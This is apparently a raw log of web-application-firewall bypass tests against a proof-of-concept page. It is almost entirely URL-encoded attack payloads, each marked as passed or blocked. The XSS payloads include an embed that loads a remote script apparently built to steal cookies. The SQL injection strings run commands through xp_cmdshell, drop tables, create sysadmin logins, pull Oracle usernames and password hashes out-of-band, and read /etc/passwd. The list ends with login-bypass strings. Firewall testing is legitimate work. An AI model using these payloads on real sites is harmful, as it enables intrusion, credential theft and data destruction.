source:current%22%3EX%3C/a%3E 
http://cf.destr0y.net/poc.php?x=%3Cstyle%3Ep[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-
source:current}*{background:red}]{background:green};%3C/style%3E 
http://cf.destr0y.net/poc.php?x=%3Clink%20rel=stylesheet%20href=data:,*%7bx:expression(write(1))%7d 
http://cf.destr0y.net/poc.php?x=%3Ca%20style=%22pointer-
events:none;position:absolute;%22%3E%3Ca%20style=%22position:absolute;%22%20onclick=%22alert(1);%22%3EX
XX%3C/a%3E%3C/a%3E%3Ca%20href=%22javascript:alert(2)%22%3EXXX%3C/a%3E 
http://cf.destr0y.net/poc.php?x=%3Cstyle%3E*[{}@import'test.css?]{color:%20green;}%3C/style%3EX 
http://cf.destr0y.net/poc.php?x=*%20{-o-link:'javascript:alert(1)';-o-link-source:%20current;} 
http://cf.destr0y.net/poc.php?x=%3Cdiv%20style=%22font-family:'foo[a];color:red;';%22%3EXXX%3C/div%3E 
http://cf.destr0y.net/poc.php?x=%3Cdiv%20style=%22[a]color[b]:[c]red%22%3EXXX%3C/div%3E 
http://cf.destr0y.net/poc.php?x=%3Cdiv%20style=%22\63&#9\06f&#10\0006c&#12\00006F&#13\R:\000072%20Ed;
color\0\bla:yellow\0\bla;col\0\00%20\&#xA0or:blue;%22%3EXXX%3C/div%3E 
http://cf.destr0y.net/poc.php?x=%3Cscript%3E%28{set/**/$%28$%29{_/**/setter=$,_=1}}%29.$=alert%3C/script%
3E 
http://cf.destr0y.net/poc.php?x=%3Cscript%3EReferenceError.prototype.__defineGetter__('name',%20function(){al
ert(1)}),x%3C/script%3E 
http://cf.destr0y.net/poc.php?x=%3Cscript%3EObject.__noSuchMethod__%20=%20Function,[{}][0].constructor._%2
8%27alert%281%29%27%29%28%29%3C/script%3E 
http://cf.destr0y.net/poc.php?x=%3Cscript%3Ehistory.pushState(0,0,'/ZSL');%3C/script%3E 
http://cf.destr0y.net/poc.php?x=%3Cscript%20src=%22#%22%3E{alert%281%29}%3C/script%3E;1 
http://cf.destr0y.net/poc.php?x=0?%3Cscript%3EWorker%28%22#%22%29.onmessage=function%28_%29eval%28_.
data%29%3C/script%3E%20:postMessage%28importScripts%28%27data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJy
k%27%29%29 
http://cf.destr0y.net/poc.php?x=%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E&#x61;l&#x65;rt
&#40;1%29%3C/script%3E 
http://cf.destr0y.net/poc.php?x=%3Cmeta%20charset=%22x-imap4-modified-
utf7%22%3E&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAb



ABlAHIAdAAoADEAKQ&ACAAPABi 
http://cf.destr0y.net/poc.php?x=%3Cmeta%20charset=%22x-mac-
farsi%22%3E%C2%BCscript%20%C2%BEalert%281%29//%C2%BC/script%20%C2%BE 
http://cf.destr0y.net/poc.php?x=%3Cx%20repeat=%22template%22%20repeat-
start=%22999999%22%3Ejavascript:%3Cy%20repeat=%22template%22%20repeat-
start=%22999999%22%3Eprompt%281%29%3C/y%3E%3C/x%3E 
http://cf.destr0y.net/poc.php?x=%3Ca%20style=%22behavior:url%28#default#AnchorClick%29;%22%20folder=%22j
avascript:alert%281%29%22%3EXXX%3C/a%3E 
http://cf.destr0y.net/poc.php?x=%3Ca%20href=%22javascript:alert(1)%22%3E%3Cevent-
source%20src=%22data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A%22%20/%3E%3C/a%3E 
http://cf.destr0y.net/poc.php?x=%3Ciframe%20sandbox=%22allow-same-origin%20allow-forms%20allow-
scripts%22%20src=%22http://zeroscience.mk/%22%3E%3C/iframe%3E 
http://cf.destr0y.net/poc.php?x=eval(%22aler%22+(!![]+[])[+[]])(%22xss%22) 
http://cf.destr0y.net/poc.php?x=%3Cbody%20oninput=alert%28document\{.\}ecookie%29%3E%3Cinput%20autofoc
us%3E 
http://cf.destr0y.net/poc.php?x=%3Cimg/src=%22%3E%22%20onerror=alert%281%29%3E 
http://cf.destr0y.net//poc.php?x=%3C/h2%3E%3Cobject%20data=%22data:text/html;base64,PHNjcmlwdD5hbGVyd
CgxKTwvc2NyaXB0Pg==%22%3E%3C/object%3E 
%3C/h2%3E%3Cembed%20src=%22data:text/html;base64,PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0i
aHR0cDovL2RuaS5kZXN0cjB5Lm5ldC9zL2Nvb2tpZTIuanMiPjwvc2NyaXB0Pg==%22%3E%3C/embed%3E 

/xx1.php?x="><SCRIPT>alert(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))</SCRIPT> 

/xx1.php?x=%253Cscript%253Ealert(1);%253C%252Fscript%253E 

/xx1.php?x="><""><script>alert(1);/**/</script> 

/xx1.php?x="><"">/**/<script>alert(1);/**/</script> 

/xx1.php?x=<BODY onload%3Dalert(1)> 
 

 

SQL Injection Blocked/Bypassed: 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+exec+master..xp_cmdshell+%27ping+10.10.1.2%
27-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+%3B+drop+table+temp+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xexec+sp_addlogin+%27name%27+%2C+%27password%27 p 
http://cf.destr0y.net/poc.php?Search=value1w4fh4xexec+sp_addsrvrolemember+%27name%27+%2C+%27sys
admin%27 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xinsert+into+mysql.user+%28user%2C+host%2C+password
%29+values+%28%27name%27%2C+%27localhost%27%2C+password%28%27pass123%27%29%29 b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+1%3D1+-- p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+%28select+%40%40version%29+-- b 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+%28select+NULL%2C+%28select+%40%40vers
ion%29%29+-- b 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+%28select+NULL%2C+NULL%2C+%28select+%
40%40version%29%29+-- b 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+%28select+NULL%2C+NULL%2C+NULL%2C++
%28select+%40%40version%29%29+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+%28select+NULL%2C+NULL%2C+NULL%2C+N
ULL%2C++%28select+%40%40version%29%29+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+%28select+NULL%2C+NULL%2C+NULL%2C+N
ULL%2C++NULL%2C+%28select+%40%40version%29%29+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+if+not%28substring%28%28select+%40%40versi
on%29%2C25%2C1%29+%3C%3E+0%29+waitfor+delay+%270%3A0%3A2%27+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+if+not%28substring%28%28select+%40%40versi
on%29%2C25%2C1%29+%3C%3E+5%29+waitfor+delay+%270%3A0%3A2%27+-- b 



http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+if+not%28substring%28%28select+%40%40versi
on%29%2C25%2C1%29+%3C%3E+8%29+waitfor+delay+%270%3A0%3A2%27+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+if+not%28substring%28%28select+%40%40versi
on%29%2C24%2C1%29+%3C%3E+1%29+waitfor+delay+%270%3A0%3A2%27+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+if+not%28select+system_user%29+%3C%3E+%2
7sa%27+waitfor+delay+%270%3A0%3A2%27+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+if+is_srvrolemember%28%27sysadmin%27%29+
%3E+0+waitfor+delay+%270%3A0%3A2%27+--+ b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+if+not%28%28select+serverproperty%28%27isin
tegratedsecurityonly%27%29%29+%3C%3E+1%29+waitfor+delay+%270%3A0%3A2%27+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+if+not%28%28select+serverproperty%28%27isin
tegratedsecurityonly%27%29%29+%3C%3E+0%29+waitfor+delay+%270%3A0%3A2%27+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x1+exec+sp_+%28or+exec+xp_%29 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x1+and+1%3D1 p 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x1%27+and+1%3D%28select+count%28*%29+from+tablen
ames%29%3B+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x1+or+1%3D1 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x1%27+or+%271%27%3D%271 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x1+and+user_name%28%29+%3D+%27dbo%27 b 
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http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+%7C%7C+myappadmin.adduser%28%27admin%27%
2C+%27newpass%27%29+%7C%7C+%27 b 
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CT+banner+FROM+v%24version+WHERE+ROWNUM%3D1%29%29+AND+%27i%27%3D%27i b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+SYS.LOGIN_USER+FROM+DUAL%29%29+AND+%27i%27%3D%27i b 
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CT+SYS.DATABASE_NAME+FROM+DUAL%29%29+AND+%27i%27%3D%27i b 
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CT+COUNT%28DISTINCT%28USERNAME%29%29+FROM+SYS.ALL_USERS%29%29+AND+%27i%27%3D%27i b 
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CT+COUNT%28DISTINCT%28PASSWORD%29%29+FROM+SYS.USER%24%29%29+AND+%27i%27%3D%27i b 
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GIN_USER%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28USERNAME%29+FROM+%28SELECT+DISTINCT%28USERNAME%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.ALL_USERS%29+WHERE+LIMIT%3D1%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28PASSWORD%29+FROM+%28SELECT+DISTINCT%28PASSWORD%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.USER%24%29+WHERE+LIMIT%3D1%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28table_name%29+FROM+%28SELECT+DISTINCT%28table_name%29%2C+ROWNUM+AS+LIMIT
+FROM+sys.all_tables%29+WHERE+LIMIT%3D1%29%29+AND+%27i%27%3D%27i b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28column_name%29+FROM+%28SELECT+DISTINCT%28column_name%29%2C+ROWNUM+AS+LI
MIT+FROM+all_tab_columns%29+WHERE+LIMIT%3D1%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28granted_role%29+FROM+%28SELECT+DISTINCT%28granted_role%29%2C+ROWNUM+AS+LIMI
T+FROM+dba_role_privs+WHERE+GRANTEE%3DSYS.LOGINUSER%29+WHERE+LIMIT%3D1%29%29+AND+%27i
%27%3D%27i b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28USERNAME%29+FROM+%28SELECT+DISTINCT%28USERNAME%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.ALL_USERS%29+WHERE+LIMIT%3D2%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28PASSWORD%29+FROM+%28SELECT+DISTINCT%28PASSWORD%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.USER%24%29+WHERE+LIMIT%3D2%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28table_name%29+FROM+%28SELECT+DISTINCT%28table_name%29%2C+ROWNUM+AS+LIMIT
+FROM+sys.all_tables%29+WHERE+LIMIT%3D2%29%29+AND+%27i%27%3D%27i b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28column_name%29+FROM+%28SELECT+DISTINCT%28column_name%29%2C+ROWNUM+AS+LI
MIT+FROM+all_tab_columns%29+WHERE+LIMIT%3D2%29%29+AND+%27i%27%3D%27i b 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28granted_role%29+FROM+%28SELECT+DISTINCT%28granted_role%29%2C+ROWNUM+AS+LIMI
T+FROM+dba_role_privs+WHERE+GRANTEE%3DSYS.LOGINUSER%29+WHERE+LIMIT%3D2%29%29+AND+%27i
%27%3D%27i b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28USERNAME%29+FROM+%28SELECT+DISTINCT%28USERNAME%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.ALL_USERS%29+WHERE+LIMIT%3D3%29%29+AND+%27i%27%3D%27i b 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28PASSWORD%29+FROM+%28SELECT+DISTINCT%28PASSWORD%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.USER%24%29+WHERE+LIMIT%3D3%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28table_name%29+FROM+%28SELECT+DISTINCT%28table_name%29%2C+ROWNUM+AS+LIMIT
+FROM+sys.all_tables%29+WHERE+LIMIT%3D3%29%29+AND+%27i%27%3D%27i b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28column_name%29+FROM+%28SELECT+DISTINCT%28column_name%29%2C+ROWNUM+AS+LI
MIT+FROM+all_tab_columns%29+WHERE+LIMIT%3D3%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28granted_role%29+FROM+%28SELECT+DISTINCT%28granted_role%29%2C+ROWNUM+AS+LIMI
T+FROM+dba_role_privs+WHERE+GRANTEE%3DSYS.LOGINUSER%29+WHERE+LIMIT%3D3%29%29+AND+%27i
%27%3D%27i b 
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CT+DISTINCT%28USERNAME%29+FROM+%28SELECT+DISTINCT%28USERNAME%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.ALL_USERS%29+WHERE+LIMIT%3D4%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28PASSWORD%29+FROM+%28SELECT+DISTINCT%28PASSWORD%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.USER%24%29+WHERE+LIMIT%3D4%29%29+AND+%27i%27%3D%27i 
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CT+DISTINCT%28column_name%29+FROM+%28SELECT+DISTINCT%28column_name%29%2C+ROWNUM+AS+LI
MIT+FROM+all_tab_columns%29+WHERE+LIMIT%3D4%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28granted_role%29+FROM+%28SELECT+DISTINCT%28granted_role%29%2C+ROWNUM+AS+LIMI
T+FROM+dba_role_privs+WHERE+GRANTEE%3DSYS.LOGINUSER%29+WHERE+LIMIT%3D4%29%29+AND+%27i
%27%3D%27i b 
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CT+DISTINCT%28USERNAME%29+FROM+%28SELECT+DISTINCT%28USERNAME%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.ALL_USERS%29+WHERE+LIMIT%3D5%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28PASSWORD%29+FROM+%28SELECT+DISTINCT%28PASSWORD%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.USER%24%29+WHERE+LIMIT%3D5%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28table_name%29+FROM+%28SELECT+DISTINCT%28table_name%29%2C+ROWNUM+AS+LIMIT
+FROM+sys.all_tables%29+WHERE+LIMIT%3D5%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28column_name%29+FROM+%28SELECT+DISTINCT%28column_name%29%2C+ROWNUM+AS+LI
MIT+FROM+all_tab_columns%29+WHERE+LIMIT%3D5%29%29+AND+%27i%27%3D%27i b 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28granted_role%29+FROM+%28SELECT+DISTINCT%28granted_role%29%2C+ROWNUM+AS+LIMI
T+FROM+dba_role_privs+WHERE+GRANTEE%3DSYS.LOGINUSER%29+WHERE+LIMIT%3D5%29%29+AND+%27i
%27%3D%27i b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28USERNAME%29+FROM+%28SELECT+DISTINCT%28USERNAME%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.ALL_USERS%29+WHERE+LIMIT%3D6%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28PASSWORD%29+FROM+%28SELECT+DISTINCT%28PASSWORD%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.USER%24%29+WHERE+LIMIT%3D6%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28table_name%29+FROM+%28SELECT+DISTINCT%28table_name%29%2C+ROWNUM+AS+LIMIT
+FROM+sys.all_tables%29+WHERE+LIMIT%3D6%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28column_name%29+FROM+%28SELECT+DISTINCT%28column_name%29%2C+ROWNUM+AS+LI
MIT+FROM+all_tab_columns%29+WHERE+LIMIT%3D6%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28granted_role%29+FROM+%28SELECT+DISTINCT%28granted_role%29%2C+ROWNUM+AS+LIMI
T+FROM+dba_role_privs+WHERE+GRANTEE%3DSYS.LOGINUSER%29+WHERE+LIMIT%3D6%29%29+AND+%27i
%27%3D%27i b 
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CT+DISTINCT%28USERNAME%29+FROM+%28SELECT+DISTINCT%28USERNAME%29%2C+ROWNUM+AS+LIMIT+
FROM+SYS.ALL_USERS%29+WHERE+LIMIT%3D7%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28table_name%29+FROM+%28SELECT+DISTINCT%28table_name%29%2C+ROWNUM+AS+LIMIT
+FROM+sys.all_tables%29+WHERE+LIMIT%3D7%29%29+AND+%27i%27%3D%27i b 
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CT+DISTINCT%28column_name%29+FROM+%28SELECT+DISTINCT%28column_name%29%2C+ROWNUM+AS+LI
MIT+FROM+all_tab_columns%29+WHERE+LIMIT%3D7%29%29+AND+%27i%27%3D%27i b 
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http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+AND+1%3Dutl_inaddr.get_host_address%28%28SELE
CT+DISTINCT%28table_name%29+FROM+%28SELECT+DISTINCT%28table_name%29%2C+ROWNUM+AS+LIMIT
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CT+DISTINCT%28granted_role%29+FROM+%28SELECT+DISTINCT%28granted_role%29%2C+ROWNUM+AS+LIMI
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http://cf.destr0y.net/poc.php?Search=value1w4fh4xadmin%27+or+%27 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+select+*+from+information_schema.tables-- p 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%29+union+select+*+from+information_schema.tables%3
B b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+having+1%3D1-- p 



http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+having+1%3D1-- p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+group+by+userid+having+1%3D1-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+select+name+from+syscolumns+where+id+%3D+%28
select+id+from+sysobjects+where+name+%3D+tablename%27%29-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+1+in+%28select+%40%40version%29-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+all+select+%40%40version-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+%27unusual%27+%3D+%27unusual%27 p 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+%27something%27+%3D+%27some%27%2B%27t
hing%27 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+%27text%27+%3D+n%27text%27 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+%27something%27+like+%27some%25%27 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+2+%3E+1 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+%27text%27+%3E+%27t%27 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+%27whatever%27+in+%28%27whatever%27%29 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+2+between+1+and+3 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+username+like+char%2837%29%3B b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+select+*+from+users+where+login+%3D+char
%28114%2C111%2C111%2C116%29%3B b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+select+ p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xpassword%3A*%2F%3D1-- p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xuni%2F**%2Fon+sel%2F**%2Fect p 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+execute+immediate+%27sel%27+%7C%7C+%27e
ct+us%27+%7C%7C+%27er%27 b 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+exec+%28%27sel%27+%2B+%27ect+us%27+%2B
+%27er%27%29 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%2F**%2For%2F**%2F1%2F**%2F%3D%2F**%2F1 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+1%2F* p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x+or+isNULL%281%2F0%29+%2F* b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+or+%277659%27%3D%277659 b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%22+or+isNULL%281%2F0%29+%2F* b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+--+%26password%3D p 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+begin+declare+%40var+varchar%288000%29+se
t+%40var%3D%27%3A%27+select+%40var%3D%40var%2B%27%2Blogin%2B%27%2F%27%2Bpassword%2B%2
7+%27+from+users+where+login+%3E+ b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%40var+select+%40var+as+var+into+temp+end+-- p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+and+1+in+%28select+var+from+temp%29-- b 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+union+select+1%2Cload_file%28%27%2Fetc%2Fpass
wd%27%29%2C1%2C1%2C1%3B b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x1%3B%28load_file%28char%2847%2C101%2C116%2C99%
2C47%2C112%2C97%2C115%2C115%2C119%2C100%29%29%29%2C1%2C1%2C1%3B b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+and+1%3D%28+if%28%28load_file%28char%28110%
2C46%2C101%2C120%2C116%29%29%3C%3Echar%2839%2C39%29%29%2C1%2C0%29%29%3B b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xa%27+or+1%3D1%3B+--", p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xa%27+-- p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27+and+1%3D0%29+union+all p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x%3F+or+1%3D1+-- p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xx%27+and+userid+is+NULL%3B+-- p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xx%27+and+email+is+NULL%3B+-- p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xanything%27+or+%27x%27%3D%27x p 
http://cf.destr0y.net/poc.php?Search=value1w4fh4xx%27+and+1%3D%28select+count%28*%29+from+tabna
me%29%3B+-- b 

http://cf.destr0y.net/poc.php?Search=value1w4fh4xx%27+and+members.email+is+NULL%3B+-- p 



http://cf.destr0y.net/poc.php?Search=value1w4fh4xx%27+or+full_name+like+%27%25bob%25 p 

http://cf.destr0y.net/poc.php?Search=value1w4fh4x23+or+1%3D1%3B+-- p 
http://cf.destr0y.net/poc.php?Search=value1w4fh4x%27%3B+exec+master..xp_cmdshell+%27ping+172.10.1.2
55%27-- b 

  

  manual tests - poc 
 http://cf.destr0y.net/poc.php?search=joxy%27%20and%201%20and%201=1-- p 

http://cf.destr0y.net/poc.php?Search2=joxy%27%20and%201=1-- p 

http://cf.destr0y.net/poc.php?Search2=1%20and%201=1-- p 

cf.destr0y.net/poc.php?Search2=joxy' and having 1=1-- p 

Search2=joxy and 1=1-- p 

http://cf.destr0y.net/poc.php??Search2=joxy+and%201=1+order+by+1,2,3,4,5,6,7,null,null,null,null,null-- p 

http://cf.destr0y.net/poc.php?Search=select%20*%20from%20testwaf p 

http://cf.destr0y.net/poc.php?search=value1w4fh4x%27%20BEGIN%20USER_LOCK.SLEEP%20%2810%29-- p 
http://cf.destr0y.net/poc.php?search=value1w4fh4x%27%20AND%20CREATE%20TRIGGER%20trgr%20ON%20
Users-- p 

http://cf.destr0y.net/poc.php?search=value1w4fh4x%27%20having%201=1-- p 

http://cf.destr0y.net/poc.php?search=value1w4fh4x%27;%20TRUNCATE%20TABLE%20foo-- p 

http://cf.destr0y.net/poc.php?search=value1w4fh4x%27%20where%201=1-- p 

http://cf.destr0y.net/poc.php?search=value1w4fh4x%27%20AND%20SELECT%20LIKE%20%27foo%27-- p 

http://cf.destr0y.net/poc.php?search=value1w4fh4x%27;%20DROP%20TABLE%20members# p 

http://cf.destr0y.net/poc.php?search=test%27%20UNION%20ALL%20select%20NULL%20-- p 
http://cf.destr0y.net/poc.php?search=select/*&Search=*/name&Search=password/*&Search=*/from/*&Searc
h=*/users p 
http://cf.destr0y.net/poc.php?Search=%u0027%u0020%u006f%u0072%u0020%u0031%u003d%u0031%u002d
%u002d p 

http://cf.destr0y.net/poc.php?Search=%27%20or%2F*%20%2F*comment%20*%2F1%3D1--*%2F1%3D1-- p 
http://cf.destr0y.net/poc.php?Search=%91%20or%20round%28pi%28%29,1%29+true+true%20=%20version%2
8%29#%20or%203.1+1+1%20=%205.1 p 

  http://cf.destr0y.net/poc.php?search=SELECT%20/*!32302%201/0,%20*/%201%20FROM%20testwaf; b 

http://cf.destr0y.net/poc.php?Search=joxy%27%20/*!32302%201/0,%20*/%20and%201=1-- b 
Search2=joxy%27%20and%20UNION%20%20%20sELECT%20/*!32302%201/0,%20*/%201%20FROM%20testwa
f; b 

http://cf.destr0y.net/poc.php?Search2=joxy%20and%20%27a%27=%27a%27-- b 

http://cf.destr0y.net/poc.php?Search=SELECT%20/*!32302%201/0,%20*/%201%20FROM%20testwaf; b 
http://cf.destr0y.net/poc.php?Search2=joxy%27%20and%20%20sELECT%20/*!32302%201/0,%20*/%201%20F
ROM%20testwaf; b 

cf.destr0y.net/poc.php?search=value1w4fh4x' SELECT foo FROM users-- b 
http://cf.destr0y.net/poc.php?search=value1w4fh4x%27%20GROUP%20BY%20testwaf.testzsl%20HAVING%20
1=1%20-- b 

http://cf.destr0y.net/poc.php?search=value1w4fh4x%27;%20IF%20%28SELECT%20*%20FROM%20login%29%2
0BENCHMARK%281000000,MD5%281%29%29# b 

http://cf.destr0y.net/poc.php?search=value1w4fh4x%27+union+select+benchmark%28500000,sha1%20%280x
414141%29%29,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 b 

http://cf.destr0y.net/poc.php?search=test%27aa%27%20LIKE%20md5%281%29%20or%20%271 b 
http://cf.destr0y.net/poc.php?search=test%27+union+select+load_file%280x63...%29,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, b 

http://cf.destr0y.net/poc.php?Search=%27%20or%2F*!%201%3D1*%2F%97%20%20%201%27UNION/*%210S
ELECT%20user%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9/*%210from/*%210mysql.user/*-- b 

http://cf.destr0y.net/poc.php?Search=textv%27%20AND%20ASCII%28LOWER%28SUBSTRING%28%28SELECT%
20TOP%201%20name%20FROM%20sysobjects%20WHERE%20xtype=%27U%27%29,%201,%201%29%29%29% b 



20%3E%20116 

http://cf.destr0y.net/poc.php?Search=textv%27union%20all%20select%20all%20%60delcoang_zslwaf%60%20f
rom%60information_schema%60.%20%60tables%60 b 
http://cf.destr0y.net/poc.php?Search=ttt%91union%28select%281%29,tabe_name,%283%29from%60infor
mation_schema%60.%60tables%60%29# 
http://cf.destr0y.net/practico/index.php?accion=Iniciar_login&uid=admin%27+AND+1%3D1%23&clave=pa
ssword&captcha=vhw3 
accion=Iniciar_login&uid=admin%27+++++++++++++++++++++++++and++++++++++++++++++++++1++++++
++++++++++++++++++++%3D+++++++++++++++++++++++1%23&clave=test&captcha=czq5 p 
accion=Iniciar_login&uid=admin%27+AND%2F*comment1*%2F1%2F*comment2*%2F%3D%2F*comment3
*%2F1%23&clave=test&captcha=7uve p 
accion=Iniciar_login&uid=%61%64%6D%69%6E%27%20%61%6E%64%20%31%3D%31%23&clave=test&cap
tcha=tbc7 p 

accion=Iniciar_login&uid=admin%27+%2F*%21+or+*%2F+1%3D1--+-&clave=admin&captcha=f8gp p 

accion=Iniciar_login&uid=admin%27+and+%27a%27%3D%27a%27%23&clave=test&captcha=p2i7 p 
accion=Iniciar_login&uid=admin%27+and+%27t00t%27+%3D+%27t00t%27%23&clave=admin&captcha=32
cp p 
